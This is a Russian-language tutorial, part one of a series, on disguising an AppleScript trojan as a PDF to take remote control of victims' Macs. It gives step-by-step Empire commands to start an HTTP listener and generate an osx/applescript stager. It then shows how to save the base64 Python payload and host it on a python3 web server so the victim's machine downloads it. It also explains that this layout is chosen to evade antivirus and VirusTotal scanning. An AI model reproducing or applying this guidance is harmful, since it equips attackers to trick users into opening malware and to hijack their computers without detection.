26 апреля, 2024

Как создать фальшивый PDF-файл с трояном на AppleScript.Часть 1. Создание stager-нагрузки

Содержание:

Большинство хакеров используют многочисленные уязвимости в продуктах компании Adobe, чтобы доставлять полезные нагрузки пользователям Windows через зараженные PDF-файлы. Однако не все знают, что вредоносные PDF-файлы также могут нанести ущерб пользователям Mac, использующим дефолтное приложение для предварительного просмотра PDF. Поэтому дважды подумайте, прежде чем кликнуть по PDF-файлу на вашем MacBook’е — он может оказаться трояном, содержащим внутри руткит.

В этой мини-серии из двух частей мы подробно расскажем, как сделать файл, похожий на обычный PDF-файл, который на самом деле является троянским AppleScript’ом, незаметно запускающим вредоносный код на целевом MacBook или на другом компьютере Mac. На GIF-ке ниже вы можете увидеть реальный PDF-файл, а также его фейковую PDF-версию с вредоносным кодом.

Для начала рассмотрим принцип работы такой атаки.

Система атакующего настраивается на использование Empire и размещает вредоносный Python-скрипт. Делается AppleScript-файл, который выглядит как настоящий PDF. В момент, когда жертва откроет AppleScript, он сначала загрузит и откроет реальный PDF для того, чтобы убедить жертву, что фейковый PDF-файл настоящий, а затем он загрузит с сервера хакера и выполнит вредоносный Python-скрипт. После того, как будет запущен Python-скрипт, между целевым Mac и сервером злоумышленника будет установлено соединение с целью удаленного управления компьютером жертвы.

Шаг 1. Осваиваемся с Empire

Для начала мы будем использовать Empire (ранее известную как PowerShell Empire). Это фреймворк для пост-эксплуатации, прославившийся возможностью генерировать трудно обнаруживаемые полезные нагрузки PowerShell для Windows.

Empire основан на работе нескольких других проектов, используемых для предоставления своих базовых функциональных возможностей и возможностей своих модулей. К счастью, он также поддерживает полезные нагрузки Python, которые можно использовать против MacOS и других Unix-подобных операционных систем.

Читателям, незнакомым с этим инструментом, рекомендуем ознакомиться с руководствами для начинающих по Empire, поскольку мы не будем объяснять, как установить Empire на Kali Linux или подробно описывать все доступные параметры stager и listner.

Последующие шаги можно выполнять на Kali Linux (для локальных сетевых атак) или с виртуального частного сервера на Debian (для глобальных атак).

Шаг 2. Создание HTTP-слушателя Empire

С помощью команды cd перейдите в директорию Empire/ и выполните команду ниже:

./empire

«Слушатели» откроют порты для прослушивания на сервере хакера, на котором работает Empire. Эти порты будут позже использоваться скомпрометированным MacBook’ом для подключения к «слушателю» Empire. Для приема входящих подключений от MacBook также будет создан новый «слушатель».

Читать также:  Metasploit для начинающего хакера. Получение доступа к токенам авторизации ( Часть 6)

Чтобы просмотреть список всех имеющихся «слушателей», воспользуйтесь этой командой:

listeners

На свежей установке Empire новых слушателей не будет, и она выдаст сообщение «No listeners currently active» (нет активных слушателей). Можно включить стандартного HTTP-слушателя с помощью команды ниже:

uselistener http

После установки типа «слушателя» можно воспользоваться командой info для просмотра доступных параметров:

info

Здесь есть несколько опций, описание которых (к сожалению) выходит за рамки данной статьи. Параметры по умолчанию отлично работают и можно использовать только их, но мы рекомендуем поиграть с доступными опциями и настроить «слушателей» под себя, под свои нужды.

Убедитесь, что параметры Port и Host были установлены в значениях 80 и 0.0.0.0 соответственно, поскольку эти параметры имеют решающее значение для проработки нашей статьи. Вы можете установить эти значения, используя следующие две команды. Использование хоста с IP 0.0.0.0 говорит Empire, что данный «слушатель» будет доступен на любом интерфейсе. Если Empire используется против MacBook в локальной сети, то «слушатель» будет доступен на локальном IP-адресе хакера (например, 192.168.0.4). В качестве альтернативы, если Empire установлен на VPS, «слушатель» будет доступен через удаленный IP-адрес хакера этого VPS-сервера.

set Port 80
set Host 0.0.0.0

Чтобы запустить «слушателя» Empire, используйте команду execute. В конце концов он должен выдать сообщение: «Listener successfully started!» (Слушатель успешно запущен!)

execute

Для того, чтобы проверить, что «слушатель» действительно запущен, можно еще раз воспользоваться командой listeners:

listeners

Появится список всех ваших активных «слушателей». Обратите внимание на имя слушателя (Столбец Name). По умолчанию оно будет автоматически установлено в значение «http». Если во время тестирования Empire будут созданы несколько слушателей, то по умолчанию все последующие слушатели будут создаваться с именами «http1», «http2» и т.д.

(Empire: listeners/http) > listeners
[*] Active listeners:
    Name    Module  Host                        Delay/Jitter    KillDate
    ----    ------  ----                        ------------    --------
    http    http    http://1x.xxx.xxx.x6:80     5/0.0

(Empire: listeners) > _

С созданием «слушателя» для этой атаки мы закончили. Дальше нужно сгенерировать stager-нагрузку.

Шаг 3. Создание вредоносной Stager-нагрузки для macOS

Стейджеры похожи на полезные нагрузки, их используют для создания подключений к «слушателям» Empire в тот момент, когда пользователь-жертва его откроет.

Читать также:  Как сделать неуловимую полезную нагрузку. Часть 2. Скрытие полезной нагрузки

Чтобы просмотреть доступные stager’ы, введите usestager, затем пробел и нажмите Tab на клавиатуре:

usestager <* PRESS TAB *>

В Empire доступно около десятка stager’ов, посвященных работе с macOS (они начинаются с «osx»). В этой статье мы расскажем, как сгенерировать AppleScript stager’а.

(Empire: listeners) > usestager
multi/bash          osx/macho                   windows/launcher_bat
multi/launcher      osx/macro                   windows/launcher_lnk
multi/macro         osx/pkg                     windows/launcher_sct
multi/pyinstaller   osx/safari_launcher         windows/launcher_vbs
osx/war             osx/teensy                  windows/launcher_xml
osx/applescript     windows/backdoorLnkMacro    windows/macro
osx/application     windows/bunny               windows/macroless_msword
osx/ducky           windows/csharp_exe          windows/shellcode
osx/dylib           windows/dll                 windows/teensy
osx/jar             windows/ducky
osx/launcher        windows/hta
(Empire: listeners) > _

AppleScript — это скриптовый язык, созданный Apple. Он позволяет пользователям напрямую управлять скриптовыми приложениями macOS, а также частями самой macOS. С его помощью пользователи могут создавать скрипты для автоматизации повторяющихся задач, комбинирования функций множества скриптовых приложений, добавления новых функций в приложения Mac и создания сложных рабочих процессов. AppleScript в настоящее время включен во все версии macOS как часть пакета средств автоматизации системы.

Для того, чтобы сгенерировать macOS-stager на AppleScript, используйте команду ниже:

usestager osx/applescript

Затем просмотрите доступные параметры, используя info:

info

Большое значение имеет настройка параметра «Listener» для сервера «слушателя», созданного на предыдущем шаге. Это скажет стейджеру, к какому серверу ему нужно будет подключаться, когда AppleScript будет выполнен на целевом MacBook.

(Empire: listeners) > usestager osx/applescript
(Empire: stager/osx/applescript) > info
Name: AppleScript
Description:
    Generates AppleScript to execute the Empire stage0 launcher.
Options:
    Name        Required    Value       Description
    ----        --------    -----       -----------
    Listener    True        http        Listener to generate stage for.
    OutFile     False                   File to output AppleScript to, otherwise displayed on the screen.
    SafeChecks  True        True        Switch. Checks for LittleSnitch or a Sandbox, exit the staging process if true. Defaults to True.
    Language    True        python      Language of the stager to generate.
    UserAgent   False       default     User-agent string to use for the staging request (defauult, none, or other).

Установите значение параметра Listener, используя следующую команду. Здесь должно использоваться имя слушателя — параметр Name (в этом примере мы используем http):

set Listener http

Затем сгенерируйте AppleScript stager’а с помощью команды generate.

generate

Сейчас мы немного изменим содержание сгенерированного стейджера и он будет немного отличаться от его предполагаемого использования. Имейте в виду, что код в приведенном ниже скриншоте представляет собой Python-скрипт с кодировкой base64. Этот скрипт предназначен для выполнения на MacBook и для создания соединения с сервером хакера. Вместо того, чтобы встраивать этот Python-скрипт в AppleScript, он будет размещен на сервере хакера и будет скачен компьютером жертвы при открытии поддельного PDF-файла.

Читать также:  Как создать загрузочную USB-флешку из Терминала Ubuntu

AppleScript мы еще будем использовать в последующих шагах для скачивания и выполнения Python-скрипта, но встраивать его в AppleScript мы не будем. Такая схема работы позволяет избежать обнаружения антивирусами, т.к. фактически Python-скрипт будет отсутствовать в фейковом PDF-файле в момент сканирования программой VirusTotal.

Шаг 4. Сохранение macOS- stager

Прежде чем сохранить сгенерированный Python-скрипт, необходимо создать новую директорию. Эта директория будет заполнена несколькими важными для атаки файлами.

Для начала откройте новый терминал и используйте команду mkdir для создания директории с именем files:

mkdir files

Затем перейдите в эту директорию files/

cd files/

Выделенный раздел в скрипте Python с кодировкой base64 (см. предыдущий шаг) нужно скопировать и сохранить в локальный файл с именем script в директории files/. Это можно сделать с помощью редактора nano:

nano script

Сохраните содержание файла, нажав Ctrl + X, а для выхода Ctrl + Y, затем Enter.

Шаг 5. Запуск веб-сервера Python3

Сервер Python3 можно запустить с помощью следующей команды:

python3 -m http.server 8080 &

Python3 создаст веб-сервер на порту 8080, сделав файлы в этой директории доступными для всех. В нашем случае мы хотим, чтобы скрипт, содержащий закодированный Python-код стал доступен для пользователя-жертвы macOS. Оператор & запустит веб-сервер Python3 в качестве фонового процесса. Использование этого оператора на VPS-сервере будет тоже полезным, поскольку это сделает сервер доступным даже после закрытия SSH-сеанса.

`/ tokyoneon ~/files
    > python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
_

Маскировка macOS-stager

Вот и все, что касается установки Empire-слушателя, генерации AppleScript-стейджер и размещения Python-скрипта на веб-сервере. В следующей статье мы покажем, как сделать так, чтобы AppleScript загружал и незаметно выполнял Python-скрипт, а также как сделать AppleScript похожим на настоящий PDF-файл.

Добавить комментарий